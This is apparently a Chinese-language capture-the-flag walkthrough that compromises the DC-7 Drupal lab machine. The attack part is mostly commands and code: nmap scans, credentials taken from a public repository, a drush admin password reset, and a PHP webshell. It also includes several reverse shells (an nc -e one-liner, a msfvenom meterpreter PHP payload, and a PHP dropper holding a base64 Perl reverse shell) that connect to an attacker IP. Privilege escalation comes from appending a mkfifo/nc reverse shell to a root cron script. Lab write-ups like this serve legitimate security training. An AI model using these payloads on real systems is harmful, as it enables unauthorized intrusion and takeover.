nmap -sP 192.168.1.0/24 -oN nmap.sP
2.扫描端口
nmap -A 192.168.1.6 -p 0-65535 -oN nmap.A
3.收集网站信息
whatweb 192.168.1.6
使用Drupal 8搭建的网站
我们用kali查找有无drupal 8的漏洞
最后尝试无果
4.访问80
根据提示爆破是行不通的
重点看首页的footer部分,也就是网页的最下方的黑色区域,靶机的除了"Powered by Drupal",还多了一个"@DC7USER"。
5.Google搜索找到路线
最终到了项目源码,我们可以以做一个代码审计,但是发现有一个straf.db项目(github可以下载):https://github.com/Dc7User/staffdb,拆开来看是staff db,也就是员工数据库,说不定是有员工的账号、密码:
果不其然附代码如下:
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
5.登陆员工账号:
在网站尝试登陆发现不对,此时我们突然想到网站22端口开放可以尝试连接:
ssh [email protected]
1.查看目录文件
查看当前目录下的文件,backups里面有两个加密文件,不可利用,查看mbox文件,发现是一个计划任务:自动备份数据库的执行情况,调用的脚本是/opt/scripts/backups.sh,是root权限执行的。
思考:因为这里有个root权限脚本,如果我们可以修改这个脚本就可以,进行提权
cd /opt/scripts/backups.sh
ls -ll
cat backups.sh
来到backup.sh目录下,查看脚本权限发现只有root,和www-data用户有执行修改权
思考:只要获得网站shell,即可提权
仔细查看脚本backups.sh:
发现有俩个命令drush,gpg
百度了一下:
gpg是一个密码加密工具
drush是用来管理drupal站点的shell,就是可以对任意用户密码进行修改
drush user-password admin --password="666"
2.查找用户名
drush这个命令需要一个用户名我们进入网站点击登录发现有一个重置密码项,需要提供用户名,我们尝试admin发现正确。
3.修改admin用户密码
drush user-password admin --password="123.com"
翻译一下报错:
命令user-password需要更高的引导级别才能运行——您将需要从一个更[错误]的地方调用drush
功能Drupal环境来运行此命令。无法执行drush命令“用户密码管理
简单说,我们执行命令的地方(路径)不对;
思考:从backups.sh中我们看到,使用drush备份数据库的时候,先切换目录至/var/www/html,所以我们也先切换目录至/var/www/html
cd /var/www/html
下载php模块
添加模块(上一步下载的压缩包)
添加成功
激活模块
编写php查看是否安装成功
方法一:写入一句话木马
中国蚁剑连接:
打开控制台反弹shell:
nc -e /bin/bash 6666
nc lvvp 6666
进入交互模式
python -c 'import pty;pty.spawn("/bin/bash")'
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.133 LPORT=4444 R > DC7_shell.php
复制代码写入php中
/*<?php /**/ error_reporting(0); $ip = '10.10.10.133'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eva
进入msfconsole
msfconsole
use exploit/multi/handler
set lhost 192.168.1.12
set lport 6666
run
方法三:php反弹代码
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.1.12";
$yourport = '6666';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
开启端口后运行即可反弹shell
写入反弹shell代码到backups.sh脚本文件中,并在kali监听777端口,等待计划任务执行,稍微等待后成功getshell
cd /opt/scripts
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.12 7777 >/tmp/f" >> backups.sh